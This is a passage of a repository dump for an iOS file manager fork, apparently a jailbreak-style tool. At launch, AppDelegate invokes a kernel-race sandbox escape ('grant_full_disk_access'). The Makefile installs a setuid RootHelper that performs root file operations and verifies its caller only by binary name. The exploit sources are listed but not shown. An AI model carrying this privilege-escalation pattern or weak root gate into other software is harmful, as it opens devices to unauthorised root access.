Full Code of haxi0/SantanderEscaped for AI

main f89f275d15ea cached
80 files
511.7 KB
123.6k tokens
4 symbols
1 requests
Download .txt
Showing preview only (541K chars total). Download the full file or copy to clipboard to get everything.
Repository: haxi0/SantanderEscaped
Branch: main
Commit: f89f275d15ea
Files: 80
Total size: 511.7 KB

Directory structure:
gitextract_qv0ndjc7/

├── .github/
│   └── workflows/
│       └── build.yml
├── .gitignore
├── LICENSE.md
├── Makefile
├── README.md
├── RootHelper/
│   ├── Commands.swift
│   ├── Extensions.swift
│   └── main.swift
├── Santander/
│   ├── AppDelegate.swift
│   ├── Assets.xcassets/
│   │   ├── AccentColor.colorset/
│   │   │   └── Contents.json
│   │   ├── AppIcon.appiconset/
│   │   │   └── Contents.json
│   │   └── Contents.json
│   ├── Base.lproj/
│   │   └── LaunchScreen.storyboard
│   ├── Info.plist
│   ├── Other/
│   │   ├── Alert++.swift
│   │   ├── BaseLayoutAnchorSupporting.swift
│   │   ├── DiffableDataSourceItem.swift
│   │   ├── DirectoryMonitor.swift
│   │   ├── Exploit/
│   │   │   ├── grant_full_disk_access.h
│   │   │   ├── grant_full_disk_access.m
│   │   │   ├── helpers.h
│   │   │   ├── helpers.m
│   │   │   ├── vm_unaligned_copy_switch_race.c
│   │   │   └── vm_unaligned_copy_switch_race.h
│   │   ├── Extensions.swift
│   │   ├── GoToItem.swift
│   │   ├── ImageMetadata.swift
│   │   ├── LoadingValueState.swift
│   │   ├── Path.swift
│   │   ├── PathMetadata.swift
│   │   ├── PathTransitioning.swift
│   │   ├── PathType.swift
│   │   ├── PathsSortMethods.swift
│   │   ├── Permissions.swift
│   │   ├── Preferences/
│   │   │   ├── Storage.swift
│   │   │   └── UserPreferences.swift
│   │   ├── RootHelper.swift
│   │   └── SantanderHeader.h
│   ├── SceneDelegate.swift
│   └── UI/
│       ├── AppInfoViewController.swift
│       ├── Editors/
│       │   ├── AssetCatalog/
│       │   │   ├── AssetCatalogCell.swift
│       │   │   ├── AssetCatalogDetailsView.swift
│       │   │   ├── AssetCatalogGridPreviewCell.swift
│       │   │   ├── AssetCatalogRenditionViewController.swift
│       │   │   ├── AssetCatalogSectionHeader.swift
│       │   │   ├── AssetCatalogSidebarListView.swift
│       │   │   └── AssetCatalogViewController.swift
│       │   ├── Audio/
│       │   │   ├── AudioPlayerToolbarView.swift
│       │   │   └── AudioPlayerViewController.swift
│       │   ├── BinaryExecutionViewController.swift
│       │   ├── FileEditorType.swift
│       │   ├── Font/
│       │   │   ├── FontInformationViewController.swift
│       │   │   └── FontViewerController.swift
│       │   ├── Image/
│       │   │   ├── ImageLocationEditorViewController.swift
│       │   │   ├── ImageMetadataViewController.swift
│       │   │   └── ImageViewerController.swift
│       │   ├── Serialized/
│       │   │   ├── SerializedArrayViewController.swift
│       │   │   ├── SerializedDocumentViewController.swift
│       │   │   ├── SerializedItemType.swift
│       │   │   └── SerializedItemViewController.swift
│       │   └── TextEditor/
│       │       ├── KeyboardSearchView.swift
│       │       ├── KeyboardToolsView.swift
│       │       ├── TextEditorThemeSettingsViewController.swift
│       │       ├── TextFileEditorViewController.swift
│       │       └── Themes.swift
│       ├── FilePreviewDataSource.swift
│       ├── Path/
│       │   ├── DragAndDrop.swift
│       │   ├── PathGroupOwnerViewController.swift
│       │   ├── PathInformationTableViewController.swift
│       │   ├── PathListViewController.swift
│       │   ├── PathOperationViewController.swift
│       │   ├── PathPermissionsViewController.swift
│       │   ├── PathSidebarListViewController.swift
│       │   ├── Search.swift
│       │   └── ToolbarItems.swift
│       ├── SettingsTableViewController.swift
│       └── TypeSelectionViewController.swift
├── Santander.xcodeproj/
│   └── project.pbxproj
├── entitlements-TS.plist
└── entitlements.plist

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/workflows/build.yml
================================================
name: CI

on:
  push:
    branches:
      - main
      - serena/root-helper-proper
    paths-ignore:
      - '**/*.md'
      - 'README.md'
      - '.gitignore'
  pull_request:
    branches:
      - main
    paths-ignore:
      - '**/*.md'
      - 'README.md'
      - '.gitignore'
  workflow_dispatch:

jobs:
  build:
    name: Build
    runs-on: macos-12

    steps:
      - name: Checkout
        uses: actions/checkout@v3

      - name: Set up Procursus
        uses: beerpiss/procursus-action@v2
        with:
          packages: ldid
          cache: true
          cache-path: ~/__cache

      - name: Select Xcode version (14.0)
        run: |
          sudo xcode-select --switch /Applications/Xcode_14.0.app

      - name: Build IPA
        run: |
          make

      - name: Permasign IPA
        uses: permasigner/action@v1.1.0
        with:
          input: "${{ github.workspace }}/build/Santander.ipa"
          output: "${{ github.workspace }}/build/Santander.deb"
          entitlements: "${{ github.workspace }}/entitlements-TS.plist"
          args: "--author Serena"

      - name: Upload IPA
        uses: actions/upload-artifact@v3.1.0
        with:
          name: SantanderJailed
          path: ${{ github.workspace }}/build/SantanderJailed.ipa

      - name: Upload IPA for TrollStore
        uses: actions/upload-artifact@v3.1.0
        with:
          name: SantanderTrollStore
          path: ${{ github.workspace }}/build/SantanderTrollStore.tipa

      - name: Upload Permasigned deb
        uses: actions/upload-artifact@v3.1.0
        with:
          name: SantanderJailbroken
          path: ${{ github.workspace }}/build/Santander.deb


================================================
FILE: .gitignore
================================================
Santander.xcodeproj/xcuserdata/*
Santander.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
Santander.xcodeproj/project.xcworkspace/xcuserdata/*
.DS_Store
build/


================================================
FILE: LICENSE.md
================================================
MIT License

Copyright (c) 2022 Serena

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: Makefile
================================================
# Shamelessly stolen from https://github.com/elihwyma/Pogo/blob/main/Makefile
TARGET_CODESIGN = $(shell which ldid)

APP_TMP         = $(TMPDIR)/santander
APP_STAGE_DIR   = $(APP_TMP)/stage
APP_APP_DIR 	= $(APP_TMP)/Build/Products/Release-iphoneos/Santander.app
APP_HELPER_PATH = $(APP_TMP)/Build/Products/Release-iphoneos/RootHelper

package:
	@set -o pipefail; \
		xcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme Santander -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \
		CODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO
	@set -o pipefail; \
		xcodebuild -quiet -jobs $(shell sysctl -n hw.ncpu) -project 'Santander.xcodeproj' -scheme RootHelper -configuration Release -arch arm64 -sdk iphoneos -derivedDataPath $(APP_TMP) \
		CODE_SIGNING_ALLOWED=NO DSTROOT=$(APP_TMP)/install ALWAYS_EMBED_SWIFT_STANDARD_LIBRARIES=NO
	@rm -rf Payload
	
	@rm -rf $(APP_STAGE_DIR)/
	@mkdir -p $(APP_STAGE_DIR)/Payload $(APP_STAGE_DIR)/JailedPayload $(APP_STAGE_DIR)/TSPayload
	@mv $(APP_APP_DIR) $(APP_STAGE_DIR)/Payload/Santander.app
	
	@cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/JailedPayload/SantanderJailed.app
	
	@mv $(APP_HELPER_PATH) $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper
	@$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/
	@$(TARGET_CODESIGN) -Sentitlements.plist $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper
	
	@rm -rf $(APP_STAGE_DIR)/Payload/Santander.app/_CodeSignature
	
	@cp -r $(APP_STAGE_DIR)/Payload/Santander.app $(APP_STAGE_DIR)/TSPayload/SantanderTS.app
	@$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/
	@$(TARGET_CODESIGN) -Sentitlements-TS.plist $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper

	chmod 6755 $(APP_STAGE_DIR)/Payload/Santander.app/RootHelper
	chmod 6755 $(APP_STAGE_DIR)/TSPayload/SantanderTS.app/RootHelper
	
	@ln -sf $(APP_STAGE_DIR)/Payload Payload
	@ln -sf $(APP_STAGE_DIR)/JailedPayload JailedPayload
	@ln -sf $(APP_STAGE_DIR)/TSPayload TSPayload
	
	@rm -rf build
	@mkdir -p build

	@zip -r9 build/Santander.ipa Payload
	@rm -rf Payload
	@mv TSPayload Payload
	
	@zip -r9 build/SantanderTrollStore.tipa Payload
	@rm -rf Payload
	@mv JailedPayload Payload
	
	@zip -r9 build/SantanderJailed.ipa Payload
	@rm -rf Payload


================================================
FILE: README.md
================================================
# Santander
A new, enhanced File Manager for iOS devices with MDC support

![Screenshot 2022-08-04 at 3 26 56 PM](https://user-images.githubusercontent.com/48022799/182846725-84790bea-e9ba-45a3-a2c2-ee6f2f7fdd4e.png)

Santander aims to enhance the experience of a file manager on an iOS device, using modern and familiar UI alongside new APIs.

# Credits
https://gist.github.com/zhuowei/bc7a90bdc520556fda84d33e0583eb3e https://github.com/ginsudev/WDBFontOverwrite/blob/main/WDBFontOverwrite/vm_unaligned_copy_switch_race.c - zhuowei

https://bugs.chromium.org/p/project-zero/issues/detail?id=2361 - Ian Beer

https://gist.github.com/Avangelista/bf2fa5319f8920fcc09ea061ecb56cf3 - Avangelista

https://github.com/SerenaKit/Santander - Serena :3

# Notice
The project is still in beta, and there still quite a lot of bugs to fix & enhancements to make.


================================================
FILE: RootHelper/Commands.swift
================================================
//
//  Commands.swift
//  RootHelper
//
//  Created by Serena on 10/11/2022
//

import Foundation
import ArgumentParser
import CompressionWrapper
import os
import AssetCatalogWrapper

struct Delete: ParsableCommand {
    @Argument(help: "The paths to delete.")
    var paths: [URL]
    
    func run() throws {
        for path in paths {
            try FileManager.default.removeItem(at: path)
        }
    }
}

struct SetOwnerOrGroup: ParsableCommand {
    @Argument(help: "The path to set the owner and/or group for.")
    var path: URL
    
    @Option(help: "The name of the group to set.")
    var groupName: String?
    
    @Option(help: "The name of the owner to set for this path.")
    var ownerName: String?
    
    func run() throws {
        if let groupName = groupName {
            try FileManager.default.setAttributes([.groupOwnerAccountName: groupName], ofItemAtPath: path.path)
        }
        
        if let ownerName = ownerName {
            try FileManager.default.setAttributes([.ownerAccountName: ownerName], ofItemAtPath: path.path)
        }
    }
}

struct Create: ParsableCommand {
    @Option(help: "The directories to create.")
    var directories: [URL] = []
    
    @Option(help: "The files to create")
    var files: [URL] = []
    
    func run() throws {
        for dir in directories {
            try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true)
        }
        
        for file in files {
            // mode a: create if doesn't exist
            let fPtr = try file.withUnsafeFileSystemRepresentation { cPathPointer in
                guard let cPathPointer, let fPtr = fopen(cPathPointer, "a") else {
                    throw StringError("Failed to create file \(file): \(String(cString: strerror(errno)))")
                }
                
                return fPtr
            }
            
            fclose(fPtr)
        }
    }
}

struct Move: ParsableCommand {
    @Argument(help: "The paths to move.")
    var paths: [URL]
    
    @Option(help: "The destination directory to move the paths into")
    var destination: URL
    
    func run() throws {
        for path in paths {
            try FileManager.default.moveItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent))
        }
    }
}

struct Copy: ParsableCommand {
    @Argument(help: "The paths to copy")
    var paths: [URL]
    
    @Option(help: "The destination to copy the paths to.")
    var destination: URL
    
    func run() throws {
        for path in paths {
            try FileManager.default.copyItem(at: path, to: destination.appendingPathComponent(path.lastPathComponent))
        }
    }
}

struct Rename: ParsableCommand {
    @Argument(help: "The path to rename.")
    var path: URL
    
    @Argument(help: "The new path.")
    var destination: URL
    
    func run() throws {
        try FileManager.default.moveItem(at: path, to: destination)
    }
}

struct Link: ParsableCommand {
    @Argument(help: "The paths to link.")
    var paths: [URL]
    
    @Option(help: "The destination")
    var destination: URL
    
    func run() throws {
        for path in paths {
            try FileManager.default.createSymbolicLink(at: destination.appendingPathComponent(path.lastPathComponent), withDestinationURL: path)
        }
    }
}

struct SetPermissions: ParsableCommand {
    @Argument(help: "The path to set the permisions for.")
    var path: URL
    
    @Argument(help: "The permissions to set.")
    var permissions: Int
    
    func run() throws {
        try FileManager.default.setAttributes([.posixPermissions: permissions], ofItemAtPath: path.path)
    }
}

struct WriteData: ParsableCommand {
    @Argument(help: "The path to write the data into.")
    var path: URL
    
    func run() throws {
        NSLog("availableData: \(FileHandle.standardInput.availableData)")
    }
}

struct WriteString: ParsableCommand {
    @Argument(help: "The string to write.")
    var string: String
    
    @Option(help: "The path to write the string to.")
    var path: URL
    
    func run() throws {
        try string.write(to: path, atomically: true, encoding: .utf8)
    }
}

struct Compress: ParsableCommand {
    @Option(help: "The paths to compress")
    var paths: [URL]
    
    @Option(help: "The destination of the compressed paths")
    var destination: URL
    
    @Option(help: "The compression format to use.")
    var format: Compression.FormatType = .zip
    
    func run() throws {
        try Compression.shared.compress(paths: paths, outputPath: destination, format: format)
    }
}

struct Decompress: ParsableCommand {
    @Argument(help: "The path to decompress.")
    var path: URL
    
    @Option(help: "The destination path.")
    var destination: URL
    
    func run() throws {
        try Compression.shared.extract(path: path, to: destination)
    }
}

struct ExtractCatalog: ParsableCommand {
    @Argument(help: "The path of the asset catalog file to extract.")
    var path: URL
    
    @Option(help: "The destination")
    var destination: URL
    
    func run() throws {
        let (_, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: path)
        let codable = renditions.flatMap(\.renditions).toCodable()
        
        try FileManager.default.createDirectory(at: destination, withIntermediateDirectories: true)
        var failedItems: [String: String] = [:]
        for rend in codable {
            let newURL = destination.appendingPathComponent(rend.renditionName)
            if let data = rend.itemData {
                do {
                    try data.write(to: newURL)
                } catch {
                    failedItems[rend.renditionName] = "Unable to write item data to file: \(error.localizedDescription)"
                }
            }
        }
        
        if !failedItems.isEmpty {
            var message: String = ""
            for (item, error) in failedItems {
                message.append("\(item): \(error)")
            }
            
            throw StringError(message.trimmingCharacters(in: .whitespacesAndNewlines))
        }
    }
}

struct GetContents: ParsableCommand {
    @Argument(help: "The path to get the contents of.")
    var path: URL
    
    func run() throws {
        let contents = try FileManager.default.contentsOfDirectory(at: path, includingPropertiesForKeys: nil)
        fputs(contents.map(\.path).joined(separator: " "), stdout)
    }
}


================================================
FILE: RootHelper/Extensions.swift
================================================
//
//  Extensions.swift
//  RootHelper
//
//  Created by Serena on 10/11/2022
//
	

import Foundation
import ArgumentParser
import CompressionWrapper

extension URL: ExpressibleByArgument {
    public init?(argument: String) {
        self.init(fileURLWithPath: argument)
    }
}

// not an extension, but useful
struct StringError: LocalizedError, CustomStringConvertible {
    let description: String
    
    init(_ description: String) {
        self.description = description
    }
    
    var errorDescription: String? {
        description
    }
}

extension Compression.FormatType: ExpressibleByArgument {
    public init?(argument: String) {
        switch argument {
        case "zip":
            self = .zip
        case "tar":
            self = .tar
        default:
            return nil
        }
    }
}


================================================
FILE: RootHelper/main.swift
================================================
//
//  main.swift
//  RootHelper
//
//  Created by Serena on 17/10/2022
//

import ArgumentParser
import Foundation
import NSTask // proc_pidpath

// get the parent caller, and make sure it's Santander, otherwise, gtfo
var buffer = [CChar](repeating: 0, count: 1024)
proc_pidpath(getppid(), &buffer, 1024)

let path = URL(fileURLWithPath: String(cString: buffer))

// We don't verify the whole path as /Applications/Santander.app/Santander, if we did that
// then this root helper would have to be modified on forks like the TrollStore one,
// where the .app name & path are different
// instead, we make sure that the binary name (which should ALWAYS be 'Santander') is correct.
guard path.lastPathComponent == "Santander" else {
    fatalError("Incorrect parent calling, goodbye!")
}

//NSLog("FileHandle.standardInput.availableData.count: \(FileHandle.standardInput.availableData.count)")

setuid(0)
setgid(0)

guard getuid() == 0 else {
    fputs("getuid() returned a uid that wasn't 0, in other words, we werent able to get root.", stderr)
    exit(-1)
}

struct Program: ParsableCommand {
    static let configuration: CommandConfiguration = CommandConfiguration(
        subcommands: [
            Create.self,
            Delete.self,
            
            Move.self,
            Copy.self,
            Link.self,
            Rename.self,
            
            SetOwnerOrGroup.self,
            SetPermissions.self,
            
            Compress.self,
            Decompress.self,
            
            WriteData.self,
            WriteString.self,
            
            GetContents.self
        ]
    )
}

do {
    var command = try Program.parseAsRoot(nil)
    try command.run()
} catch {
    fputs(error.localizedDescription, stderr)
    exit(-1)
}


================================================
FILE: Santander/AppDelegate.swift
================================================
//
//  AppDelegate.swift
//  Santander
//
//  Created by Serena on 21/06/2022
//
	

import UIKit

@main
class AppDelegate: UIResponder, UIApplicationDelegate {

    func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        // Override point for customization after application launch.
        UIApplication.shared.alert(title: "pwning", body: "wait", withButton: false)
        grant_full_disk_access() { error in
            UIApplication.shared.dismissAlert(animated: false)
            UIApplication.shared.alert(title: "pwned", body: error?.localizedDescription ?? "no errors while pwning")
        }
        if UserPreferences.displayRecentlyBookmarked {
            application.setShortcutItems(intoURLs: UserPreferences.bookmarks)
        } else {
            application.shortcutItems = []
        }
        
        return true
    }

    // MARK: UISceneSession Lifecycle

    func application(_ application: UIApplication, configurationForConnecting connectingSceneSession: UISceneSession, options: UIScene.ConnectionOptions) -> UISceneConfiguration {
        // Called when a new scene session is being created.
        // Use this method to select a configuration to create the new scene with.
        return UISceneConfiguration(name: "Default Configuration", sessionRole: connectingSceneSession.role)
    }

    func application(_ application: UIApplication, didDiscardSceneSessions sceneSessions: Set<UISceneSession>) {
        // Called when the user discards a scene session.
        // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
        // Use this method to release any resources that were specific to the discarded scenes, as they will not return.
    }


}



================================================
FILE: Santander/Assets.xcassets/AccentColor.colorset/Contents.json
================================================
{
  "colors" : [
    {
      "idiom" : "universal"
    }
  ],
  "info" : {
    "author" : "xcode",
    "version" : 1
  }
}


================================================
FILE: Santander/Assets.xcassets/AppIcon.appiconset/Contents.json
================================================
{
  "images" : [
    {
      "filename" : "40.png",
      "idiom" : "iphone",
      "scale" : "2x",
      "size" : "20x20"
    },
    {
      "filename" : "60.png",
      "idiom" : "iphone",
      "scale" : "3x",
      "size" : "20x20"
    },
    {
      "filename" : "29.png",
      "idiom" : "iphone",
      "scale" : "1x",
      "size" : "29x29"
    },
    {
      "filename" : "58.png",
      "idiom" : "iphone",
      "scale" : "2x",
      "size" : "29x29"
    },
    {
      "filename" : "87.png",
      "idiom" : "iphone",
      "scale" : "3x",
      "size" : "29x29"
    },
    {
      "filename" : "80.png",
      "idiom" : "iphone",
      "scale" : "2x",
      "size" : "40x40"
    },
    {
      "filename" : "120.png",
      "idiom" : "iphone",
      "scale" : "3x",
      "size" : "40x40"
    },
    {
      "filename" : "57.png",
      "idiom" : "iphone",
      "scale" : "1x",
      "size" : "57x57"
    },
    {
      "filename" : "114.png",
      "idiom" : "iphone",
      "scale" : "2x",
      "size" : "57x57"
    },
    {
      "filename" : "120.png",
      "idiom" : "iphone",
      "scale" : "2x",
      "size" : "60x60"
    },
    {
      "filename" : "180.png",
      "idiom" : "iphone",
      "scale" : "3x",
      "size" : "60x60"
    },
    {
      "filename" : "20.png",
      "idiom" : "ipad",
      "scale" : "1x",
      "size" : "20x20"
    },
    {
      "filename" : "40.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "20x20"
    },
    {
      "filename" : "29.png",
      "idiom" : "ipad",
      "scale" : "1x",
      "size" : "29x29"
    },
    {
      "filename" : "58.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "29x29"
    },
    {
      "filename" : "40.png",
      "idiom" : "ipad",
      "scale" : "1x",
      "size" : "40x40"
    },
    {
      "filename" : "80.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "40x40"
    },
    {
      "filename" : "50.png",
      "idiom" : "ipad",
      "scale" : "1x",
      "size" : "50x50"
    },
    {
      "filename" : "100.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "50x50"
    },
    {
      "filename" : "72.png",
      "idiom" : "ipad",
      "scale" : "1x",
      "size" : "72x72"
    },
    {
      "filename" : "144.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "72x72"
    },
    {
      "filename" : "76.png",
      "idiom" : "ipad",
      "scale" : "1x",
      "size" : "76x76"
    },
    {
      "filename" : "152.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "76x76"
    },
    {
      "filename" : "167.png",
      "idiom" : "ipad",
      "scale" : "2x",
      "size" : "83.5x83.5"
    },
    {
      "filename" : "1024.png",
      "idiom" : "ios-marketing",
      "scale" : "1x",
      "size" : "1024x1024"
    },
    {
      "filename" : "16.png",
      "idiom" : "mac",
      "scale" : "1x",
      "size" : "16x16"
    },
    {
      "filename" : "32.png",
      "idiom" : "mac",
      "scale" : "2x",
      "size" : "16x16"
    },
    {
      "filename" : "32.png",
      "idiom" : "mac",
      "scale" : "1x",
      "size" : "32x32"
    },
    {
      "filename" : "64.png",
      "idiom" : "mac",
      "scale" : "2x",
      "size" : "32x32"
    },
    {
      "filename" : "128.png",
      "idiom" : "mac",
      "scale" : "1x",
      "size" : "128x128"
    },
    {
      "filename" : "256.png",
      "idiom" : "mac",
      "scale" : "2x",
      "size" : "128x128"
    },
    {
      "filename" : "256.png",
      "idiom" : "mac",
      "scale" : "1x",
      "size" : "256x256"
    },
    {
      "filename" : "512.png",
      "idiom" : "mac",
      "scale" : "2x",
      "size" : "256x256"
    },
    {
      "filename" : "512.png",
      "idiom" : "mac",
      "scale" : "1x",
      "size" : "512x512"
    },
    {
      "filename" : "1024.png",
      "idiom" : "mac",
      "scale" : "2x",
      "size" : "512x512"
    },
    {
      "filename" : "48.png",
      "idiom" : "watch",
      "role" : "notificationCenter",
      "scale" : "2x",
      "size" : "24x24",
      "subtype" : "38mm"
    },
    {
      "filename" : "55.png",
      "idiom" : "watch",
      "role" : "notificationCenter",
      "scale" : "2x",
      "size" : "27.5x27.5",
      "subtype" : "42mm"
    },
    {
      "filename" : "58.png",
      "idiom" : "watch",
      "role" : "companionSettings",
      "scale" : "2x",
      "size" : "29x29"
    },
    {
      "filename" : "87.png",
      "idiom" : "watch",
      "role" : "companionSettings",
      "scale" : "3x",
      "size" : "29x29"
    },
    {
      "idiom" : "watch",
      "role" : "notificationCenter",
      "scale" : "2x",
      "size" : "33x33",
      "subtype" : "45mm"
    },
    {
      "filename" : "80.png",
      "idiom" : "watch",
      "role" : "appLauncher",
      "scale" : "2x",
      "size" : "40x40",
      "subtype" : "38mm"
    },
    {
      "filename" : "88.png",
      "idiom" : "watch",
      "role" : "appLauncher",
      "scale" : "2x",
      "size" : "44x44",
      "subtype" : "40mm"
    },
    {
      "idiom" : "watch",
      "role" : "appLauncher",
      "scale" : "2x",
      "size" : "46x46",
      "subtype" : "41mm"
    },
    {
      "filename" : "100.png",
      "idiom" : "watch",
      "role" : "appLauncher",
      "scale" : "2x",
      "size" : "50x50",
      "subtype" : "44mm"
    },
    {
      "idiom" : "watch",
      "role" : "appLauncher",
      "scale" : "2x",
      "size" : "51x51",
      "subtype" : "45mm"
    },
    {
      "idiom" : "watch",
      "role" : "appLauncher",
      "scale" : "2x",
      "size" : "54x54",
      "subtype" : "49mm"
    },
    {
      "filename" : "172.png",
      "idiom" : "watch",
      "role" : "quickLook",
      "scale" : "2x",
      "size" : "86x86",
      "subtype" : "38mm"
    },
    {
      "filename" : "196.png",
      "idiom" : "watch",
      "role" : "quickLook",
      "scale" : "2x",
      "size" : "98x98",
      "subtype" : "42mm"
    },
    {
      "filename" : "216.png",
      "idiom" : "watch",
      "role" : "quickLook",
      "scale" : "2x",
      "size" : "108x108",
      "subtype" : "44mm"
    },
    {
      "idiom" : "watch",
      "role" : "quickLook",
      "scale" : "2x",
      "size" : "117x117",
      "subtype" : "45mm"
    },
    {
      "idiom" : "watch",
      "role" : "quickLook",
      "scale" : "2x",
      "size" : "129x129",
      "subtype" : "49mm"
    },
    {
      "filename" : "1024.png",
      "idiom" : "watch-marketing",
      "scale" : "1x",
      "size" : "1024x1024"
    }
  ],
  "info" : {
    "author" : "xcode",
    "version" : 1
  }
}


================================================
FILE: Santander/Assets.xcassets/Contents.json
================================================
{
  "info" : {
    "author" : "xcode",
    "version" : 1
  }
}


================================================
FILE: Santander/Base.lproj/LaunchScreen.storyboard
================================================
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
    <dependencies>
        <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
        <capability name="Safe area layout guides" minToolsVersion="9.0"/>
        <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
    </dependencies>
    <scenes>
        <!--View Controller-->
        <scene sceneID="EHf-IW-A2E">
            <objects>
                <viewController id="01J-lp-oVM" sceneMemberID="viewController">
                    <view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
                        <rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
                        <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
                        <color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
                        <viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
                    </view>
                </viewController>
                <placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
            </objects>
            <point key="canvasLocation" x="53" y="375"/>
        </scene>
    </scenes>
</document>


================================================
FILE: Santander/Info.plist
================================================
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDocumentTypes</key>
	<array>
		<dict>
			<key>CFBundleTypeName</key>
			<string>Content</string>
			<key>LSHandlerRank</key>
			<string>Default</string>
			<key>LSItemContentTypes</key>
			<array>
				<string>public.item</string>
			</array>
		</dict>
	</array>
	<key>CFBundleURLTypes</key>
	<array>
		<dict>
			<key>CFBundleTypeRole</key>
			<string>Editor</string>
			<key>CFBundleURLSchemes</key>
			<array>
				<string>santander</string>
			</array>
		</dict>
	</array>
	<key>TSRootBinaries</key>
	<array>
		<string>RootHelper</string>
	</array>
	<key>UIApplicationSceneManifest</key>
	<dict>
		<key>UIApplicationSupportsMultipleScenes</key>
		<false/>
		<key>UISceneConfigurations</key>
		<dict>
			<key>UIWindowSceneSessionRoleApplication</key>
			<array>
				<dict>
					<key>UISceneConfigurationName</key>
					<string>Default Configuration</string>
					<key>UISceneDelegateClassName</key>
					<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
				</dict>
			</array>
		</dict>
	</dict>
	<key>UIBackgroundModes</key>
	<array>
		<string>audio</string>
	</array>
	<key>UTImportedTypeDeclarations</key>
	<array>
		<dict>
			<key>UTTypeDescription</key>
			<string>Represents any item which can be imported</string>
			<key>UTTypeIconFiles</key>
			<array/>
			<key>UTTypeIdentifier</key>
			<string>public.item</string>
			<key>UTTypeTagSpecification</key>
			<dict/>
		</dict>
	</array>
</dict>
</plist>


================================================
FILE: Santander/Other/Alert++.swift
================================================
//
//  Alert++.swift
//  Derootifier
//
//  Created by Анохин Юрий on 15.04.2023.
//

import UIKit

var currentUIAlertController: UIAlertController?

extension UIApplication {
    func dismissAlert(animated: Bool) {
        DispatchQueue.main.async {
            currentUIAlertController?.dismiss(animated: animated)
        }
    }
    func alert(title: String, body: String, animated: Bool = true, withButton: Bool = true) {
        DispatchQueue.main.async {
            currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
            if withButton { currentUIAlertController?.addAction(.init(title: "OK", style: .cancel)) }
            self.present(alert: currentUIAlertController!)
        }
    }
    func confirmAlert(title: String, body: String, onOK: @escaping () -> (), noCancel: Bool) {
        DispatchQueue.main.async {
            currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
            if !noCancel {
                currentUIAlertController?.addAction(.init(title: "Cancel", style: .cancel))
            }
            currentUIAlertController?.addAction(.init(title: "OK", style: noCancel ? .cancel : .default, handler: { _ in
                onOK()
            }))
            self.present(alert: currentUIAlertController!)
        }
    }
    func change(title: String, body: String) {
        DispatchQueue.main.async {
            currentUIAlertController?.title = title
            currentUIAlertController?.message = body
        }
    }
    
    func present(alert: UIAlertController) {
        if var topController = self.windows[0].rootViewController {
            while let presentedViewController = topController.presentedViewController {
                topController = presentedViewController
            }
            
            topController.present(alert, animated: true)
            // topController should now be your topmost view controller
        }
    }
}



================================================
FILE: Santander/Other/BaseLayoutAnchorSupporting.swift
================================================
//
//  BaseLayoutAnchorSupporting.swift
//  Santander
//
//  Created by Serena on 08/10/2022
